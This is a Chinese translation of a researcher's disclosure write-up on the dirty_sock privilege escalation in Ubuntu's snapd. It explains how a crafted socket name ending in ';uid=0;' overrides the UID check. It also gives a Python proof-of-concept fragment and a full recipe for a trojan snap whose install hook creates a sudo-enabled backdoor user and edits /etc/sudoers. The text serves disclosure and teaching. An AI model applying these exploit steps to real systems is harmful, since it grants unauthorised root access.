Ubuntu Linux dirty_sock 本地提权漏洞的利用

Ubuntu Linux dirty_sock 本地提权漏洞的利用

Privilege Escalation in Ubuntu Linux (dirty_sock exploit)

2019年1月,我在Ubuntu Linux的默认安装中发现了权限提升漏洞。这是由于缺少服务snapd API中的一个错误造成的。任何本地用户都可以利用此漏洞获得对系统的即时root访问权限。

这里提供了两个漏洞exploit dirty_sock repository:

  1. dirty_sockv1 :根据从Ubuntu SSO查询的详细信息,使用“创建用户”API创建本地用户。
  2. dirty_sockv2: Sideloads一个快照,该快照包含一个生成新本地用户的安装挂钩。

这两种方法都适用于Ubuntu的默认安装。测试大多在18.10完成,但是旧版本也很容易受到攻击。

应急反应小组的反应披露是迅速和恰当的。与他们直接合作令人难以置信的愉快,我非常感谢他们的辛勤工作和善良。真的,这种类型的互动让我对自己成为Ubuntu用户感觉非常好。


TL;DR

快照提供了一个附加到本地UNIX_AF套接字的REST API。对受限API函数的访问控制是通过查询与该套接字的任何连接相关联的UID来实现的。在for循环中的字符串解析过程中,用户控制的套接字对等数据可能会被影响以覆盖UID变量。这允许任何用户访问任何API函数。

通过访问API,有多种方法可以获得根。上面链接的漏洞展示了两种可能性。

背景-什么是快照?

为了简化Linux系统上的打包应用程序,各种新的竞争标准正在出现。Ubuntu Linux的制造商Canonical正在推广他们的“快照”包。这是一种将所有应用程序依赖项滚动到单个二进制文件中的方法,类似于Windows应用程序。

快照生态系统包括“应用商店”开发者可以贡献和维护现成的包。

本地安装快照的管理和与该在线商店的通信部分由名为“快照”。此服务在Ubuntu中自动安装,并在“root”用户的上下文中运行。Snapd正在发展成为Ubuntu操作系统的一个重要组成部分,尤其是在云和物联网的“快速Ubuntu核心”等更精简的旋转中。

漏洞概述

有趣的Linux操作系统信息

快照服务在位于/ lib / systemd / system /快照服务的systemd服务单元文件中描述

以下是前几行:

[Unit]
Description=Snappy daemon
Requires=snapd.socket

这将导致我们看到一个systemd套接字单元文件,位于/ lib / systemd / system / snapd . socket

以下几行提供了一些有趣的信息:

[Socket]
ListenStream=/run/snapd.socket
ListenStream=/run/snapd-snap.socket
SocketMode=0666

Linux使用一种称为“AF_UNIX”的UNIX域套接字,用于在同一台机器上的进程之间进行通信。这与“AF_INET”和“AF_INET6”套接字不同,它们用于进程通过网络连接进行通信。

上面显示的行告诉我们正在创建两个套接字文件。“0666”模式将文件权限设置为所有人都可以读写,这是允许任何进程与套接字连接和通信所必需的。

我们可以在这里看到这些套接字的文件系统表示:

$ ls -aslh /run/snapd*
0 srw-rw-rw- 1 root root  0 Jan 25 03:42 /run/snapd-snap.socket
0 srw-rw-rw- 1 root root  0 Jan 25 03:42 /run/snapd.socket

有趣。我们可以使用Linux“NC”工具(只要它是BSD风格的)来连接到像这样的AF_UNIX套接字。下面是一个连接到其中一个插座并简单点击enter键的例子。

$ nc -U /run/snapd.socket

HTTP/1.1 400 Bad Request
Content-Type: text/plain; charset=utf-8
Connection: close

400 Bad Request

更有趣的是。攻击者在危害机器时首先要做的事情之一是寻找在root环境中运行的隐藏服务。HTTP服务器是最容易被利用的,但是它们通常在网络套接字上找到。

现在这已经足够的信息知道我们有一个很好的利用目标——一个隐藏的HTTP服务,它可能没有被广泛测试,因为使用大多数自动权限提升检查并不容易发现。

注:查看我的正在进行的权限升级工具uptux这将表明这是有趣的。

易受攻击代码

作为一个开源项目,我们现在可以通过源代码进行静态分析。开发人员已经在这个REST API上整理了优秀的文档这里有

引人注目的API函数是“POST /v2/create-user”,简称为“创建本地用户”。文档告诉我们,这个调用需要根级访问才能执行。

但是守护程序如何准确地确定访问API的用户是否已经有根用户?

回顾代码的踪迹,我们会发现这个文件(我联系了历史上易受攻击的版本)。

让我们来看看这一行:

ucred, err := getUcred(int(f.Fd()), sys.SOL_SOCKET, sys.SO_PEERCRED)

这是在调用golang的一个标准库来收集与套接字连接相关的用户信息。

基本上,AF_UNIX套接字系列可以选择在辅助数据中接收发送过程的凭据(请参见man unix来自Linux命令行)。

这是确定进程访问API权限的一种相当可靠的方法。

使用一个名为delve的golang调试器,我们可以从上面执行“nc”命令时准确地看到它会返回什么。下面是调试器的输出,当我们在这个函数上设置断点,然后使用delve的“打印”命令来显示变量“ucred”当前包含的内容:

> github.com/snapcore/snapd/daemon.(*ucrednetListener).Accept()
...
   109:			ucred, err := getUcred(int(f.Fd()), sys.SOL_SOCKET, sys.SO_PEERCRED)
=> 110:			if err != nil {
...
(dlv) print ucred
*syscall.Ucred {Pid: 5388, Uid: 1000, Gid: 1000}

看起来不错。它看到我的uid为1000,将拒绝我访问敏感的API函数。或者,至少如果这些变量正是在这种状态下被调用的话。但事实并非如此。

相反,在这个函数中会发生一些额外的处理,其中连接信息与上面发现的值一起被添加到新对象中:

func (wc *ucrednetConn) RemoteAddr() net.Addr {
	return &ucrednetAddr{wc.Conn.RemoteAddr(), wc.pid, wc.uid, wc.socket}
}

…然后在这一个中再多一点,所有这些值都连接成一个字符串变量:

func (wa *ucrednetAddr) String() string {
	return fmt.Sprintf("pid=%s;uid=%s;socket=%s;%s", wa.pid, wa.uid, wa.socket, wa.Addr)
}

..并最终由该函数解析,其中组合字符串再次被分解成单独的部分:

func ucrednetGet(remoteAddr string) (pid uint32, uid uint32, socket string, err error) {
...
	for _, token := range strings.Split(remoteAddr, ";") {
		var v uint64
...
		} else if strings.HasPrefix(token, "uid=") {
			if v, err = strconv.ParseUint(token[4:], 10, 32); err == nil {
				uid = uint32(v)
			} else {
				break
}

最后一个函数的作用是用“;”分隔字符串字符,然后查找以“uid=”开头的任何内容。当它遍历所有拆分时,第二次出现的“uid=”会覆盖第一次。

如果我们能在这个函数中注入任意的文本…

回到钻研调试器,我们可以看看这个“remoteAddr”字符串,看看它在实现正确HTTP GET请求的“nc”连接中包含什么:

请求:

$ nc -U /run/snapd.socket
GET / HTTP/1.1
Host: 127.0.0.1

调试输出:

github.com/snapcore/snapd/daemon.ucrednetGet()
...
=>  41:		for _, token := range strings.Split(remoteAddr, ";") {
...
(dlv) print remoteAddr
"pid=5127;uid=1000;socket=/run/snapd.socket;@"

现在,不是一个包含uid和pid之类的单个属性的对象,而是一个字符串变量,所有内容都连接在一起。此字符串包含四个唯一的元素。第二个元素“uid=1000”是当前控制权限的元素。

如果我们想象这个函数用“;”分割这个字符串反复看,我们看到有两个部分(如果包含字符串“uid=”)可能会覆盖第一个“uid=”,如果我们能够影响它们的话。

第一个(“socket = / run / snapd.socket”)是监听套接字的本地“网络地址”——服务被定义为绑定到的文件路径。我们没有权限修改snapd以在另一个套接字名称上运行,因此我们似乎不可能修改这个。

但是字符串末尾的“@”符号是什么?这是从哪里来的?变量名“remoteAddr”是一个很好的提示。在调试器中多花一点时间,我们可以看到golang标准库( net.go )正在返回本地网络地址和远程地址。在下面的调试会话中,您可以看到这些输出分别是“laddr”和“raddr”。

> net.(*conn).LocalAddr() /usr/lib/go-1.10/src/net/net.go:210 (PC: 0x77f65f)
...
=> 210:	func (c *conn) LocalAddr() Addr {
...
(dlv) print c.fd
...
	laddr: net.Addr(*net.UnixAddr) *{
		Name: "/run/snapd.socket",
		Net: "unix",},
	raddr: net.Addr(*net.UnixAddr) *{Name: "@", Net: "unix"},}

远程地址被设置为神秘的“@”符号。进一步阅读man unix帮助页面提供了关于所谓的“抽象命名空间”的信息。这用于绑定独立于文件系统的套接字。抽象命名空间中的套接字以空字节字符开始,通常在终端输出中显示为“@”。

我们可以创建绑定到我们控制的文件名的自己的套接字,而不是依赖netcat利用的抽象套接字命名空间。这将允许我们影响我们想要修改的字符串变量的最后一部分,这将包含在上面显示的“raddr”变量中。

使用一些简单的python代码,我们可以创建一个包含字符串的文件名”;uid = 0;”在它内部某个地方,以套接字的形式绑定到该文件,并使用它启动返回快照API的连接。

以下是利用POC的片段:

## Setting a socket name with the payload included
sockfile = "/tmp/sock;uid=0;"

## Bind the socket
client_sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
client_sock.bind(sockfile)

## Connect to the snap daemon
client_sock.connect('/run/snapd.socket')

现在,当我们再次查看remoteAddr变量时,看看调试器中会发生什么:

> github.com/snapcore/snapd/daemon.ucrednetGet()
...
=>  41:		for _, token := range strings.Split(remoteAddr, ";") {
...
(dlv) print remoteAddr
"pid=5275;uid=1000;socket=/run/snapd.socket;/tmp/sock;uid=0;"

接下来,我们注入了一个错误的uid 0,根用户,它将在最后一次迭代中覆盖实际的uid。这将允许我们访问API的受保护功能。

我们可以通过继续到调试器中该函数的末尾来验证这一点,并看到uid被设置为0。这显示在下面的钻研输出中:

> github.com/snapcore/snapd/daemon.ucrednetGet()
...
=>  65:		return pid, uid, socket, err
...
(dlv) print uid
0

武器化

版本一

dity sockv1利用“POST / v2 /创建用户”API函数。要使用此漏洞,只需在上创建一个帐户 Ubuntu SSO 并将SSH公钥上载到您的配置文件。然后,像这样运行漏洞攻击(使用您注册的电子邮件地址和相关的SSH私钥) :

$ dirty_sockv1.py -u you@email.com -k id_rsa

这是相当可靠的,执行起来似乎是安全的。你可以在这里停止阅读,去找根。

还在看书吗?嗯,对互联网连接和SSH服务的需求让我很烦恼,我想看看我是否能在更受限的环境中利用它。这让我们…

第二版

dity sockv2相反,使用“POST / v2 /快照”API来侧向加载包含bash脚本的快照,该脚本将添加本地用户。这适用于没有运行SSH服务的系统。它也适用于更新的Ubuntu版本,完全没有互联网连接。然而,侧向加载确实需要一些核心卡扣。如果它们不存在,此漏洞可能会触发快照服务的更新。我的测试表明,这仍然有效,但是在这种情况下,它只能工作一次。

快照本身运行在沙盒中,需要与机器已经信任的公钥匹配的数字签名。但是,可以通过指示快照正在开发中(称为“devmode”)来降低这些限制。这将像任何其他应用程序一样,提供对主机操作系统的快速访问。

此外,快照有一种叫做“钩子”的东西。一个这样的钩子,“安装钩子”在快照安装时运行,可以是简单的shell脚本。如果快照配置为“devmode”,则此挂钩将在root的上下文中运行。

我从头开始创建了一个快照,基本上是空的,没有任何功能。然而,它所拥有的是一个在安装时执行的bash脚本。bash脚本运行以下命令:

useradd dirty_sock -m -p '$6$sWZcW1t25pfUdBuX$jWjEZQF2zFSfyGy9LbvG3vFzzHRjXfBYK0SOGfMD1sLyaS97AwnJUs7gDCY.fg19Ns3JwRdDhOcEmDpBVlF9m.' -s /bin/bash
usermod -aG sudo dirty_sock
echo "dirty_sock    ALL=(ALL:ALL) ALL" >> /etc/sudoers

那个加密的字符串只是文本dirty_sock用Python创建crypt.crypt()功能。

以下命令详细显示了创建此快照的过程。这一切都是从开发机器完成的,而不是目标。创建快照后,它将转换为base64文本,以包含在完整的python漏洞利用中。

## Install necessary tools
sudo apt install snapcraft -y

## Make an empty directory to work with
cd /tmp
mkdir dirty_snap
cd dirty_snap

## Initialize the directory as a snap project
snapcraft init

## Set up the install hook
mkdir snap/hooks
touch snap/hooks/install
chmod a+x snap/hooks/install

## Write the script we want to execute as root
cat > snap/hooks/install << "EOF"
#!/bin/bash

useradd dirty_sock -m -p '$6$sWZcW1t25pfUdBuX$jWjEZQF2zFSfyGy9LbvG3vFzzHRjXfBYK0SOGfMD1sLyaS97AwnJUs7gDCY.fg19Ns3JwRdDhOcEmDpBVlF9m.' -s /bin/bash
usermod -aG sudo dirty_sock
echo "dirty_sock    ALL=(ALL:ALL) ALL" >> /etc/sudoers
EOF

## Configure the snap yaml file
cat > snap/snapcraft.yaml << "EOF"
name: dirty-sock
version: '0.1' 
summary: Empty snap, used for exploit
description: |
    See https://github.com/initstring/dirty_sock

grade: devel
confinement: devmode

parts:
  my-part:
    plugin: nil
EOF

## Build the snap
snapcraft

如果你不信任我放 在blob 中的exploit,你可以用上面的方法手工创建你自己的blob。

一旦获得快照文件,我们可以使用bash将其转换为base64,如下所示:

$ base64 <snap-filename.snap>

这种基于64编码的文本可以在脏袜子攻击开始时进入全局变量“TROJAN_SNAP”。

该漏洞本身是用python编写的,并执行以下操作:

  1. 用字符串创建随机文件;uid = 0;命名
  2. 将套接字绑定到此文件
  3. 连接到快照API
  4. 删除特洛伊木马快照(如果它是前一次中止运行遗留下来的)
  5. 安装特洛伊木马快照(此时安装挂钩将运行)
  6. 删除特洛伊木马快照
  7. 删除临时套接字文件
  8. 祝贺你取得成功
Ubuntu Linux dirty_sock 本地提权漏洞的利用

Ubuntu Linux dirty_sock 本地提权漏洞 修复

记得及时修补你的系统!在我披露后,快照团队立即修复了这个问题。

本文翻译自 Dirty-Sockf